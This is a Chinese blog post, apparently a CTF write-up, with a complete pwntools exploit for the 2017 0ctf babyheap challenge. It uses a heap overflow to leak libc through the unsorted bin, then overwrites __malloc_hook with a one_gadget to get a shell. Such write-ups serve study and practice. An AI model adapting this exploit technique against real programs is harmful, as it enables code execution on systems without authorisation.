记一次非常巧妙的思路 2017 0ctf babyheap 的exp

文件

GitHub

收获

  • malloc的时候,根据堆分配器规则,它会依次处理 unsorted bin 中的 chunk,将其放入到对应的 bin 中,之后会再次尝试分配 chunk
  • 若之前释放的 chunk 比当前申请的 chunk 大,可以从其前面分割出来一块
  • malloc_hook附近的fake chunk 的size为0x7f
  • 堆的始终是 4KB 对齐的 (?_ ?)

exp:

  • 因为保护全开,则简单的Arbitrary Alloc就使不出来了,因为不知道地址,所以就只能unsorted bin泄露main_arena地址了
from pwn import *
from LibcSearcher import *
context(arch='amd64',os='linux')
context.log_level = 'debug'
io = process('./babyheap')

def allocate(size):
	io.recvuntil('Command: ')
	io.sendline('1')
	io.recvuntil('Size: ')
	io.sendline(str(size))

def fill(idx,content):
	io.recvuntil('Command: ')
	io.sendline('2')
	io.recvuntil('Index: ')
	io.sendline(str(idx))
	io.recvuntil('Size: ')
	io.sendline(str(len(content)))
	io.recvuntil('Content: ')
	io.sendline(content)
	
def free(idx):
	io.recvuntil('Command: ')
	io.sendline('3')
	io.recvuntil('Index: ')
	io.sendline(str(idx))
	
def dump(idx):
	io.recvuntil('Command: ')
	io.sendline('4')
	io.recvuntil('Index: ')
	io.sendline(str(idx))
	
allocate(0x10)	#0	0x00
allocate(0x10)	#1	0x20
allocate(0x10)	#2	0x40
allocate(0x80)	#3	0x60
free(2)
free(1)
payload = 'a'*0x10+p64(0)+p64(0x21)+p8(0x60)	#通过一个字节的溢出使#2的bin的fd指向#3的bin
fill(0,payload)
allocate(0x10)	#1
payload = 'a'*0x10+p64(0)+p64(0x21)+'a'*0x10+p64(0)+p64(0x21)
fill(1,payload)			#修改#3的bin的size为0x21,绕过fastbin在分配内存的时候的检测
allocate(0x10)	#2		#这时#2的bin的content就指向#3的bin了
payload = 'a'*0x10+p64(0)+p64(0x21)+'a'*0x10+p64(0)+p64(0x91)
fill(1,payload)			#还原#3的bin的size
allocate(0x80)	#4		#为了让#3的bin不再挨着top chunk
free(3)					#这时候#3的bin的fd就指向了main_arena+offset
dump(2)
io.recvuntil('Content: \n')
main_arena = u64(io.recv(6).ljust(8,'\x00'))-88
log.success('main arena: '+hex(main_arena))
libc_base = main_arena - 0x3c4b20
log.success('libc base: '+hex(libc_base))
one_gadget = libc_base + 0x4526a # 0x4526a 0xf02a4 0xf1147 0x45216
allocate(0x60)	#3		#心得的前两点
free(3)					#以下都是Arbitrary Alloc的例行公事,最终修改malloc_hook的内容为one_gadget
fake_chunk_addr = main_arena - 0x33		#这个怎么求具体在上一篇博客
payload = p64(fake_chunk_addr)
fill(2,payload)
allocate(0x60)	#3
allocate(0x60)	#5
payload = 'a'*0x13+p64(one_gadget)
fill(5,payload)
allocate(0x10)
io.interactive()

你可能感兴趣的:(学习日记,CTF)